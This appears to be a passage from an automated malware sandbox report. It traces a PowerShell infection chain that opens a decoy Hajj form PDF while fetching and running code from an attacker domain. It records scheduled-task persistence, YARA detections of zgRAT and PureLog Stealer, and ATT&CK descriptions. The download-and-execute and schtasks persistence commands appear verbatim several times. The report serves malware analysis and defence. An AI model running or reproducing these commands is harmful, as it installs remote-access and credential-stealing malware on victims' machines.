Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/\| Powershell
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:58:06
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:58:09
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	12:58:09
Start date:	30/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:58:09
Start date:	30/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=2056,i,4768736094800516795,6522799854547835148,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:58:13
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:58:17
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:58:17
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:58:17
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:58:20
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:58:20
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 9208, Parent PID: 9052

General

Target ID:	20
Start time:	12:58:20
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 9064, Parent PID: 9180

General

Target ID:	22
Start time:	12:58:26
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Analysis Process: powershell.exePID: 9196, Parent PID: 9160

General

Target ID:	23
Start time:	12:58:26
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Analysis Process: powershell.exePID: 8544, Parent PID: 9208

General

Target ID:	24
Start time:	12:58:26
Start date:	30/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Analysis Process: schtasks.exePID: 9280, Parent PID: 8544

General

Target ID:	25
Start time:	12:58:32
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:58:32
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:58:32
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:58:32
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:58:32
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:58:32
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:58:33
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:58:33
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:58:33
Start date:	30/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Imagebase:	0x7ff6eef90000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF848A56DF0 Relevance: 9.6, Strings: 7, Instructions: 871
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6^, xrefs: 00007FF848A5CB53
ZM_H, xrefs: 00007FF848A5CA6D
x6^, xrefs: 00007FF848A5C9A0
x6^, xrefs: 00007FF848A5CA75
x6^, xrefs: 00007FF848A5C920
x6^, xrefs: 00007FF848A5CA1A
6^, xrefs: 00007FF848A5CB38

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID: ZM_H$x6^$x6^$x6^$x6^$6^$6^
API String ID: 0-3571902926
Opcode ID: 4c22f336c5a8c997b897e0e38e7bc5e3cf691e287a327826221e4ef7b30d0d54
Instruction ID: 3b7dfc9381ca9bfaa084a9ceb87c164a69ea46501cecec6455083b31c8b53356
Opcode Fuzzy Hash: 4c22f336c5a8c997b897e0e38e7bc5e3cf691e287a327826221e4ef7b30d0d54
Instruction Fuzzy Hash: B2424A31A0EA4A4FE789EB3C84566B9B7D2FF55760F0442BEC04EC7196DE389882C751

Function 00007FF848A5C93B Relevance: 8.0, Strings: 6, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6^, xrefs: 00007FF848A5CB53
ZM_H, xrefs: 00007FF848A5CA6D
x6^, xrefs: 00007FF848A5C9A0
x6^, xrefs: 00007FF848A5CA75
x6^, xrefs: 00007FF848A5CA1A
6^, xrefs: 00007FF848A5CB38

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID: ZM_H$x6^$x6^$x6^$6^$6^
API String ID: 0-1373578762
Opcode ID: ee31e7d9d6c8c2a74de25216fe644d0cd1ea5fafc3e016a984ece781c0815488
Instruction ID: 48b3e45bb9d5f2b5567b15b8e35715d523e42db4f19d1485847b6770768cb435
Opcode Fuzzy Hash: ee31e7d9d6c8c2a74de25216fe644d0cd1ea5fafc3e016a984ece781c0815488
Instruction Fuzzy Hash: 70E1F931A1EA4A8FE789EB3C44166B9B7D2FF55750B0442FEC04EC7296DE389C828751

Function 00007FF848A5CA35 Relevance: 5.4, Strings: 4, Instructions: 367
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6^, xrefs: 00007FF848A5CB53
ZM_H, xrefs: 00007FF848A5CA6D
x6^, xrefs: 00007FF848A5CA75
6^, xrefs: 00007FF848A5CB38

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID: ZM_H$x6^$6^$6^
API String ID: 0-882076941
Opcode ID: 45b97d8edc09ecabe6b4f296d42c3da368c7a662d33cea5521b6bd0bb63fd045
Instruction ID: 31b7a859036d36860c02d4fbbe242bd43eb0c386b62a7d892395bcf86a2780f7
Opcode Fuzzy Hash: 45b97d8edc09ecabe6b4f296d42c3da368c7a662d33cea5521b6bd0bb63fd045
Instruction Fuzzy Hash: 73B10931F0EA468FE789EB3C44262B9B7D2EF55750B0441FEC04ECB296DE689C828755

Function 00007FF848A5CA90 Relevance: 2.8, Strings: 2, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6^, xrefs: 00007FF848A5CB53
6^, xrefs: 00007FF848A5CB38

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID: 6^$6^
API String ID: 0-841192639
Opcode ID: a336a78ff8a6d29422de919cfa308e9332779edc2ec1adad2af1f83997c057a0
Instruction ID: bf713b9ff4240316c45c8146c1e36ed5825c84eb5db1f2078d20a3f1f4e7f252
Opcode Fuzzy Hash: a336a78ff8a6d29422de919cfa308e9332779edc2ec1adad2af1f83997c057a0
Instruction Fuzzy Hash: 1EA10B31F0EA468FE789EB3C44262B9B7D2EF55750B0441FEC04ECB296DE685C828755

Function 00007FF848B22DBA Relevance: 2.3, Strings: 1, Instructions: 1003
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$_, xrefs: 00007FF848B22E05

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID: $_
API String ID: 0-2628234157
Opcode ID: cfa5219380a2b07c0f4f10239e7c928a5dce69b4b44fe26f17d85b3803be02af
Instruction ID: 3a53c420bfec6e7152caca09ce5148d28621a35ceb8c69acd9b9716eb9fb0e3a
Opcode Fuzzy Hash: cfa5219380a2b07c0f4f10239e7c928a5dce69b4b44fe26f17d85b3803be02af
Instruction Fuzzy Hash: 9C524631E0DB8A4FE796AA3C58686B57BE1EF5A250F4801FBD04CC75A3DE189C06C352

Function 00007FF848A5D4F9 Relevance: 1.7, APIs: 1, Instructions: 245
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF848A5D6CE

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b9cd1a365a0e7e21b610ad4a29e54d720907d89be6993f0eeb6c706a4d160290
Instruction ID: f37a7636bc8b347f81b709a63fb636558feeb67820af9797c3c24704c69c3f24
Opcode Fuzzy Hash: b9cd1a365a0e7e21b610ad4a29e54d720907d89be6993f0eeb6c706a4d160290
Instruction Fuzzy Hash: 48712771A0DA484FD758EF2C985A6B97BE1FF59310F0402BFE04DD7292DB74A8428B81

Function 00007FF848A54630 Relevance: 1.7, APIs: 1, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fed051afcdc260c2a3db968d82056c71a58f3f462e2adebfabf209f094dda2a
Instruction ID: f3315876bb6ba02aca6bfebe5d655b8ede9f39b039c999bc41e77737eb5dfb5c
Opcode Fuzzy Hash: 8fed051afcdc260c2a3db968d82056c71a58f3f462e2adebfabf209f094dda2a
Instruction Fuzzy Hash: DE514B71D0EA584FEB18EF68984A6B9BBE1FF54350F04417EE04DD3252CB74A845CB86

Function 00007FF848A545DA Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF848A5D6CE

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cb69dc47c7f78f75b5c148b7d6e675c9e478f00083d6c407a47a29b718ff1f4b
Instruction ID: 0e21fb63e8b7e69e9fcd725104a377d4eda1e1a35b5a7fc3996f17848f7987ff
Opcode Fuzzy Hash: cb69dc47c7f78f75b5c148b7d6e675c9e478f00083d6c407a47a29b718ff1f4b
Instruction Fuzzy Hash: 4531817191CA1C9FDB58EF58D846AF9B7E0FB69311F00422EE04EE3251CB71A8428B85

Function 00007FF848A545EA Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00007FF848A9FCD5

Memory Dump Source

Source File: 0000000B.00000002.2358200446.00007FF848A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848a50000_powershell.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 069fe64d36fe05a106186e370ca5c2b56f593ab68961f0513c80e2f3b9197b86
Instruction ID: 534ff1dff946c7f653a3c805b636540afa53b44905f6752b437557604d7e656d
Opcode Fuzzy Hash: 069fe64d36fe05a106186e370ca5c2b56f593ab68961f0513c80e2f3b9197b86
Instruction Fuzzy Hash: 9C219270A0CA0C9FDB58EB58D845BFDB7E0FB55321F00422ED04AD3651DB71A856CB91

Function 00007FF848B25646 Relevance: 1.4, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`%_, xrefs: 00007FF848B256AE

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID: `%_
API String ID: 0-1464531874
Opcode ID: d2a4845db4ad732af855851c3c343510d520e968684a6570b9f2988bccc074d5
Instruction ID: 26b8f8afab74056a998b825782820936087e2bcb557709272a9f27bfdd6710c1
Opcode Fuzzy Hash: d2a4845db4ad732af855851c3c343510d520e968684a6570b9f2988bccc074d5
Instruction Fuzzy Hash: 31310560D4E6CA9FE797AB7808685B17FE4EF532A4F0841FBD098C70A3DA0C1846C356

Function 00007FF848B215DD Relevance: .7, Instructions: 662
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b94ca240148420bec925d04c29f8e6ebb7d03b09c8d7b5761f9ba5c59cc83497
Instruction ID: 6087b724dd5e17119f239a676212035d041387100e0c8bb12bf2fee9e124c3de
Opcode Fuzzy Hash: b94ca240148420bec925d04c29f8e6ebb7d03b09c8d7b5761f9ba5c59cc83497
Instruction Fuzzy Hash: A7122521D0EBC51FE397A77858691B47FE1EF42250F4901FBD089CB6A3DA18AC46C356

Function 00007FF848B28445 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00cbeab2d36eacdbeee4901391a74e418523904a7002461df5b79b20491026e4
Instruction ID: fa417824aa69da460954f9e733bfa0fa3e2b4bef42960375f977d25e035dfd62
Opcode Fuzzy Hash: 00cbeab2d36eacdbeee4901391a74e418523904a7002461df5b79b20491026e4
Instruction Fuzzy Hash: B7D14631E0EA8A5FE79AAB6858195B97BE0FF15390F4800FED09CC7593DB18AC05C356

Function 00007FF848B22BD4 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bb6decdc5532424bdd3d29213eced7396436214c74c4173bcb69aee313d5af4
Instruction ID: 9d8c6b83b12e45b863ac368440b32e5bef81e4917dd805e5d45f0dfbd9feb0f8
Opcode Fuzzy Hash: 6bb6decdc5532424bdd3d29213eced7396436214c74c4173bcb69aee313d5af4
Instruction Fuzzy Hash: 6E514831F1EE8A4FFBAAAA3C64152B9B6D1EF45790F9405BAC40DC75D3EE08E8058345

Function 00007FF848B23120 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d30ced99c093490ff9e4670aeb704ef3dc266823cab870a6d5aa48118917768
Instruction ID: cedf6f41a9e24dd361a8563ab95d6e06b873b420b18de76d4139daff2875c94b
Opcode Fuzzy Hash: 7d30ced99c093490ff9e4670aeb704ef3dc266823cab870a6d5aa48118917768
Instruction Fuzzy Hash: 5E511331E1DB894FE796EA2C54682B97BE1EF5A350F8901FBC00CC75A7DE189C058356

Function 00007FF848B22C20 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2361494526.00007FF848B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e04162dc2409baae1290aed9aa02ca68623a59737094cfeda96f7b31a0c93d4
Instruction ID: 1714b6f054707bec21c8d7705201eed942b357db4dc617e066691f410ebf65ea
Opcode Fuzzy Hash: 1e04162dc2409baae1290aed9aa02ca68623a59737094cfeda96f7b31a0c93d4
Instruction Fuzzy Hash: 90312421E1EE8B4FF7AAA63C1419278A9D1EF153D1F9409BAC40DC75D3EE0CAC484309

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
